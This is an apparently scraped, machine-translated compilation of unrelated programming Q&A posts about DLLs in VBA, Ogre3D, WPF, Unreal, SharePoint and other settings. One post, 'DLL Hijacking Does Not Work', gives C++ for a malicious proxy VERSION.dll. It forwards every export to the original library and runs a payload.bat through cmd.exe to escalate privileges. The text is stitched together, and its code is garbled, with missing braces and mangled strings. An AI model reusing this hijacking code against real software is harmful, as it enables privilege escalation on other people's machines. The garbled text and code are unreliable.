excel – How to create a .dll file under VBA?

Some VBA modules are constantly used to connect to the company's server, have a password and need to be more secure. An alternative that I came to check uses .dll (there is one that we use).

How to create a module that looks like this

sub conn_server()

    'Meu código que conecta com string de conexão no servidor, com usuário e senha

end sub

Would you like it to become a .dll? Or is there any way to make VBA a .dll file?

c ++ – Explicit loading of an Ogre3D DLL wrapper with linked OgreMainStatic.lib crashes when loading a mesh with CreateEntity

I have an Ogre3D 1.7.x DLL wrapper project that explicitly loads the Ogre functions and works properly using the OgreMain.dll + D3D9 Renderer plugin.dll that loads a mesh without any problems. This is my configuration:


When I switched to using an OgreMainStatic.lib configuration, where it is now a single DLL installation (MyWrapper.dll ~ 5MB, linked and loaded lib plug-ins) and loading a Meshing with CreateEntity causes the application to crash.

I have tested the binding of my OgreMainStatic.lib on a single exe file, then loading a mesh and it works without any problem.


Are there any changes or concerns in the way Ogre handles memory or threads when wrapping functions and explicitly loading a DLL against a DLL using Ogre Static Lib?

I've added an incident reporting tool to dump the error in question and generates an exception:

The thread tried to read or write to a virtual address for which
it does not have the appropriate access.

Both solutions always display the Ogre.log message that the mesh has loaded, but it hangs with the installation of the DLL linked to the static library:

16:03:37: DefaultWorkQueue('Root') initialising on thread main.
16:03:37: Added resource location 'media' of type 'FileSystem' to resource group 'General'
16:03:37: Parsing scripts for resource group Autodetect
16:03:37: Finished parsing scripts for resource group Autodetect
16:03:37: Parsing scripts for resource group General
16:03:37: Parsing script box.material
16:03:37: Parsing script ground.material
16:03:37: Parsing script Ogre.material
16:03:37: Parsing script skybox.material
16:03:37: Finished parsing scripts for resource group General
16:03:37: Parsing scripts for resource group Internal
16:03:37: Finished parsing scripts for resource group Internal
16:03:37: Mesh: Loading sphere.mesh.

c # – dll compiled unified test or shared code

Simple "rule of thumb": When creating unit tests for a shared DLL, try same SEO mechanism as a standard client code that uses this DLL.

Since you want your unit tests to "simulate" the behavior of a "production customer", it is generally recommended to proceed in the same way, in all aspects, including the reference mechanism.

visual studio – Dll to display the game's fps in the title of the C ++ window

Well, I do not know anything about c ++, and I want to create an .asi file counter that will fit a lot of games. Basically, .asi is a renamed .dll file, used for game mods.
For starters, I intend to make a simple DLL that shows the fps of the game in the window type. I use the visual studio community. Enjoy any help = D

Elevation of Privilege – DLL Hijacking Does Not Work

I found the DLL Hijacking vulnerability in a program. He does not charge VERSION.dll correctly. Then I try to use DLL Proxying technical.

I'm trying to create malicious DLLs with C ++. This is my code:

#pragma once
#pragma comment(linker,"/export:GetFileVersionInfoA=version_orig.GetFileVersionInfoA,@1")
#pragma comment(linker,"/export:GetFileVersionInfoByHandle=version_orig.GetFileVersionInfoByHandle,@2")
#pragma comment(linker,"/export:GetFileVersionInfoExA=version_orig.GetFileVersionInfoExA,@3")
#pragma comment(linker,"/export:GetFileVersionInfoExW=version_orig.GetFileVersionInfoExW,@4")
#pragma comment(linker,"/export:GetFileVersionInfoSizeA=version_orig.GetFileVersionInfoSizeA,@5")
#pragma comment(linker,"/export:GetFileVersionInfoSizeExA=version_orig.GetFileVersionInfoSizeExA,@6")
#pragma comment(linker,"/export:GetFileVersionInfoSizeExW=version_orig.GetFileVersionInfoSizeExW,@7")
#pragma comment(linker,"/export:GetFileVersionInfoSizeW=version_orig.GetFileVersionInfoSizeW,@8")
#pragma comment(linker,"/export:GetFileVersionInfoW=version_orig.GetFileVersionInfoW,@9")
#pragma comment(linker,"/export:VerFindFileA=version_orig.VerFindFileA,@10")
#pragma comment(linker,"/export:VerFindFileW=version_orig.VerFindFileW,@11")
#pragma comment(linker,"/export:VerInstallFileA=version_orig.VerInstallFileA,@12")
#pragma comment(linker,"/export:VerInstallFileW=version_orig.VerInstallFileW,@13")
#pragma comment(linker,"/export:VerLanguageNameA=version_orig.VerLanguageNameA,@14")
#pragma comment(linker,"/export:VerLanguageNameW=version_orig.VerLanguageNameW,@15")
#pragma comment(linker,"/export:VerQueryValueA=version_orig.VerQueryValueA,@16")
#pragma comment(linker,"/export:VerQueryValueW=version_orig.VerQueryValueW,@17")


CStringW ThisDllDirPath()
    CStringW thisPath = L"";
    WCHAR path(MAX_PATH);
    HMODULE hm;
        GetModuleFileNameW(hm, path, sizeof(path));
        thisPath = CStringW(path);
        if (!thisPath.IsEmpty() &&
            thisPath.GetAt(thisPath.GetLength() - 1) != '\')
            thisPath += L"\";
    return thisPath;

int Exploit()
    // Create the command line 
    std::wstring fullpath(TEXT("cmd.exe /C ""));
    fullpath += ThisDllDirPath();
    fullpath += std::wstring(TEXT("payload.bat""));
    TCHAR * fullpathwc = (wchar_t *)fullpath.c_str();

    // Start a new process using the command line 
    STARTUPINFO info = { sizeof(info) };
    CreateProcess(NULL, fullpathwc, NULL, NULL, TRUE, CREATE_DEFAULT_ERROR_MODE, NULL, NULL, &info, &processInfo);

    return 0;

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
    switch (fdwReason)
    return TRUE;

After I copy real VERSION.dll to the vulnerability path.

Then run the vulnerability program, but the exploit does not work.

I analyze with the process monitor what I got:enter the description of the image here

Is it because of the immediate closure of the program? An idea of ​​PoC that?

Thank you.

c # – WPF: Accessing Styles from a Resource.xaml of a dll

I've created a DLL to share styles between WPF projects and I can access them from XAML views, but I now have to access styles from C #.

In C # I do this code:
var rd = new ResourceDictionary ();
rd.Source = new Uri ("pack: // application: ,,, / POS_StylesSharing; Resources.xaml", UriKind.Absolute);

But this only shows me the following error:
System.IO.IOException: The resource & # 39; pos_stylessharing; resources.xaml & # 39; was not found. & # 39;

  • The dll has the following XmlnsDefinitionAttribute:
    ( "Http://POS_Styles.com/POS/resources"
  • The namespace is: POS_StylesSharing.Resources
  • The name of the DLL is: POS_StylesSharing
  • I have the styles in: /Styles/Resources.xaml

Already try to supplement ,,, / POS_StylesSharing **. Dll ** and / or ** / Style / ** Resources.xaml
But keep marking the same mistake.

I thank you if you give me a hint of what I should correct.

.netlink – Failed to Load DLL Assembly with NET / Link

I'm using Math & a 12 on iMac OS 10.14 to load a DLL. For simplicity, I stored the file in the NoteBook directory, however a list of assemblies in the directory gives me an error. I have tried to install and load the DLL from the three suggested locations in the user guide with the same errors, for example LinkOpen: Can not Find MathLink Executable; InstallNet: Can not link to the net runtime. I used the simple 2 lines of code.


Can someone suggest what I'm doing maybe hurt or suggest a diagnostic test? I checked the permissions but they seemed fine.

sharepoint server – missing dll error

I get this error that Microsoft.exchange.webservices can not be added to GAC when deploying the solution. We have solutions from other teams working on their environment. When we try to configure the development environment for the same thing, the above error is given. Its sharepoint version 2013. What could be the cause? Checked out versions of Visual Studio and other things already. Any help will be great for that. TIA.

plugin – Unreal: Where should I put a DLL to be copied when it is compressed or compressed?

I am currently using the FPaths::ProjectPluginsDir() directory to store a custom DLL for Unreal. However, when I build or compress the project, I have to manually create a Plugins folder and copy the DLL in this file.

Is there another folder that would be a better directory to store my plugin in order to have my DLL copied automatically when it is compressed or compressed?

hosting – dll stimulsoft using installed fonts on the server

As I understand your question, when I assume you want to automatically install the missing / mandatory fonts on your Plesk server?
In any case, such automation depends entirely on the operating system used. Therefore, additional information is needed to provide a solution.
If it's a pure PLESK solution, then I suggest you contact their support. They are generally very flexible and competent in my experience.